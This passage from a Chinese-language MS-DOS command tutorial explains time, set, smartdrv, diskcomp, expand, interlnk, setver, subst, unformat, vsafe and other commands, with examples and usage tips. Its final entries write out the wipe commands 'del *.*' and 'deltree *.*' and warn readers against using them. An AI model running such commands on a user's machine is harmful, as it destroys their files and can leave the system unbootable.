在A驱中放入第一张备份盘，按任意键即可，恢复完第一张后，按顺
序放入其它盘即可。
当您用上述命令不能正确恢复文件时请用：
C:\DOS>restore a: c:\ /s
time|set|smartdrv
time 显示及修改时间
〔适用场合〕 用于显示及修改时间，用法同date
〔例 子〕 C:\DOS>time�
Current time is 12:15:26.04a
Enter new time: 11:20:20.00p
按时:分顺序输入时间，再加上下午(a/p)即可 直接按ENTER键可忽略
修改时间。
set 设置环境变量
〔适用场合〕 设置声卡和路径等时用到
〔用 法〕 set [环境变量]=[字符串]
这条命令常常用在autoexec.bat中
〔例 子〕 C:\>set blaster=a220 i5 d1 设置声卡的参数
C:\>set path=c:\dos path c:\dos含义相同
smartdrv 设置磁盘加速器
〔建 议〕 它可以提高硬盘访问速度，最好在autoexec.bat文件中加载吧。
〔用 法〕 smartdrv /x
执行并驻留内存，开辟磁盘加速缓存区，并屏蔽所有驱动器缓存，是
较常用的方法（一般用这个命令就够了）
smartdrv /c 将缓存内的信息都写入硬盘
smartdrv /e: 数字 设置一次移动的信息量
smartdrv /b: 数字 设置预先读取的缓冲区大小
append|debug|diskcomp
append 设置非执行文件的路径
〔适用场合〕 当您无法在多个目录中寻找到自己输入的文稿时，可以试一试这个命
令，用法类似path。
〔用 法〕 append [路径];[路径]
〔例 子〕 C:\>append c:\test�
设置寻找非可执行文件路径为c:\test如果该目录下有文件1.txt时，
在其它目录下调用1.txt找不到时，可自动寻找到c:\test目录。
D:\UCDOS>edit 1.txt 可找到C:\test\1.txt文件
debug 程序调试命令
〔建 议〕 如果你学过汇编语言，那你应该会使用debug，如果没学过，最好别
使用
〔用 法〕 debug [文件名]
diskcomp 比较磁盘
〔适用场合〕 比较两张盘是否相同，没想到什么时候会用到，在比较用disk拷
贝的两张盘，为什么不用disk/v校验呢？
〔用 法〕 diskcomp [盘符1] [盘符2] 比较盘1和盘2
diskcomp /1 只比较磁盘的第一面
diskcomp /8 只比较没磁道的前8个扇区
〔例 子〕 C:\>diskcomp a: a:
在同一软驱中比较两张盘
Insert FIRST diskette in drive A:
放入第一张盘
Press any key to continue . . .
Comparing 80 tracks 18 sectors per track, 2 side(s)
Insert SECOND diskette in drive A:
放入第二张盘
Press any key to continue . . . Compare OK
比较未发现不同
Compare another diskette (Y/N) ?n
是否比较其它盘，选y继续比较，选n停止
expand|fasthelp|fc
expand 解压工具
〔适用场合〕 微软公司软件原始安装盘中有许多后缀以"_"结尾的压缩文件，可以
用它解压，解除您因为少数几个文件丢失造成的麻烦。
〔用 法〕 expand [源文件名] [目的文件]
〔例 子〕 C:\>expand a:vsafe.co_ c:\dos\vsafe.com
� 解压vsafe.co_为vsafe.com文件
Microsoft (R) File Expansion Utility Version 2.10
Copyright (C) Microsoft Corp 1990-1993. All rights
reserved.
Expanding a:vsafe.co_ to c:\dos\vsafe.com. a:vsafe.co_:
33046 bytes expanded to 62576 bytes, 89% increase.
C:\DOS>
fasthelp 快速显示帮助信息
〔建 议〕 可以看看所有的命令，对于单个的命令，还不如在命令名后加/?参数
方便
〔用 法〕 fasthelp 列出所有DOS命令的用处
fasthelp [命令名] 显示命令的用处，等价于 [命令名]/?
fc 文件比较
〔建 议〕 也许对于大多数人是永远不会用到它的
〔用 法〕 fc [文件名1] [文件名2] 比较两文件的不同
参数还有: a c l Lbn n t w nnnn
〔例 子〕 C:\TEST>fc a.bat b.bat�
Comparing files A.BAT and B.BAT
***** A.BAT
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag
if errorlevel 2 goto mem
if errotlevel 1 goto end
***** B.BAT choice /c:dme defrag,mem,end
***** C:\TEST>
interlnk|intersvr|qbasic
interlnk 启动简易网客户机
〔适用场合〕 如果有两台电脑可以通过它和intersvr联成简易的网络，这是条很有
用的命令，但不常用
〔用 法〕 DOS新增支持网络的功能，
它可以使两台电脑通过并口线或串口线相联组成简易的网络
使用interlnk 必须在config.sys中增添一句：
device=c:\dos\interlnk
并口线的两头都应是25针公接头，针之间的连接如下图：对应
p2------------------------p15
p3------------------------p13
p4------------------------p12
p5------------------------p10 公接头指接头为带针的
p6------------------------p11 母接头指接头为带孔的
p15-----------------------p2
p13-----------------------p3
p12-----------------------p4
p10-----------------------p5
p11-----------------------p6
p25-----------------------p25 地线
〔例 子〕 C:\DOS\>interlnk Port-LPT1
this Computer Other Computer
(Client) (Server)
----------------------------------------
E: equals A:
F: equals C:
在客户机中E盘即为服务机的A盘，F盘为服务机的C盘
intersvr 启动简易网服务器
〔适用场合〕 使用它，电脑就成了服务器了（只限与DOS提供的简易网）
〔用 法〕 intersvr 启动服务机
intersvr /lpt:1 启动服务机,用lpt1口作为数据传输口
intersvr /com:1 启动服务机,用com1口作为数据传输口
参数还有 x baud: b v r （参见interlnk)
〔例 子〕 C:\DOS>intersvr�
qbasic 启动Basic集成环境
〔建 议〕 也许对于大多数人是永远不会用到它的
〔用 法〕 如果会qbasic语言，那么可以利用它编写自己的程序。edit.com必须
有它才可用。
qbasic 起动basic语言环境
qbasic/editor 以全屏方式编辑语言
参数还有： b g h mbf nohi run
〔例 子〕 C:\DOS>qbasic�
setver|share|subst
setver 设置版本
〔适用场合〕 当希望使用其它版本的dos命令时可以用它来欺骗电脑。在高版本
DOS中，某些旧版本程序需要DOS3.3时，可用setver来设置
〔用 法〕 使用时一般在config.sys中加入 device=setver.exe
setver 显示文件的版本
setver [文件名] n.nn 设置指定文件的版本号
〔例 子〕 C:\DOS>setver�
KERNEL.EXE 5.00
DOSOAD.SYS 5.00
EDLIN.EXE 5.00
BACKUP.EXE 5.00
ASSIGN.COM 5.00
EXE2BIN.EXE 5.00
JOIN.EXE 5.00
RECOVER.EXE 5.00
WINWORD.EXE 4.10
C:\>
若程序AAA.exe必须在MS-DOS3.3下执行，则键入
C:\DOS>setver aaa.exe 3.30�
又如net5.exe仅在MS-DOS5.0下执行，则在config.sys中加入
device=setver.exe后也可在Ms-DOS6.22下运行。
share 文件共享
〔建 议〕 只有在软件声明必须要运行它时才用
〔用 法〕 可在config.sys中加入 install=share.exe 也可直接运行
参数有 f l
subst 路径替换
〔建 议〕 一个非常有趣的命令，如果经常用光盘软件，可能有用。
〔用 法〕 subst 显示当前的替代路径
subst [盘符] [路径]
将指定的路径替代盘符，该路径将作为驱动器使用
subst /b 解除替代
〔例 子〕 C:\DOS>subst a: c:\temp� 用c盘temp目录替代a盘
C:\>subst a: /d� 解除替代
tree|unformat|vsafe
tree 显示命令树结构
〔适用场合〕 查看所有的子目录
〔用 法〕 tree [盘符] 显示所有的子目录树
tree /f 显示目录时同时显示文件名
tree /a 以ASCII码显示目录树
〔例 子〕 C:\WINDOWS>tree /a�
unformat 恢复已被格式化的磁盘
〔建 议〕 你把有重要信息的软盘格式化了?快用unformat……什么?你用了
format /u，那死定了
〔用 法〕 unformat [盘符] 恢复指定的被格式化的磁盘
unformat /l 显示unformat所找到的文件名
〔例 子〕 C:\WINDOWS>unformat a:�
vsafe 病毒防护程序
〔建 议〕 把它装入内存可以随时检测出许多种病毒，是比较有用的。
〔用 法〕 vsafe 加载vsafe在内存中
vsafe /u 从内存中去除vsafe
vsafe/ne 将vsafe装入扩充内存
vsafe/nx 将vsafe装入扩展内存
参数还有 Ax Cx n d
〔例 子〕 C:\>vsafe
ver|vol|ctty
ver 显示DOS版本
〔例 子〕 C:\>ver
�MS-DOS Version 6.22
C:\>
vol 显示指定的磁盘卷标号
〔例 子〕 C:\>vol�
Volume in drive C is Wang
Volume Serial Number is 2116-1DD0
C:\>
ctty 改变控制设备
〔建 议〕 用来改变控制的输入输出设备，可以试试这条命令，不过恐怕不会有
什么作用，是DOS中最没用的命令之一
〔用 法〕 ctty [设备名] 设置控制台
〔例 子〕 C:\>ctty aux� 设置aux为输入输出设备。
del *.* 删除当前目录所有文件
〔建 议〕 在C盘根目录使用del *.*会使电脑找不到鼠标、光驱、不能使用
windows，甚至不能启动。 事实上在任何目录中使用这条命令，都需
要好好考虑。
deltree *.* 删除当前目录下所有目录与文件
〔建 议〕 在C盘根目录中使用这条命令，那你必须要保证你的头脑是清醒的，
而且你保证这样做是有必要的，但我们认为在任何情况下都不应该这
样使用这条命令。 在任何目录下使用deltree *.*都会产生与
del *.*一样甚至更坏的结果。慎之！慎之！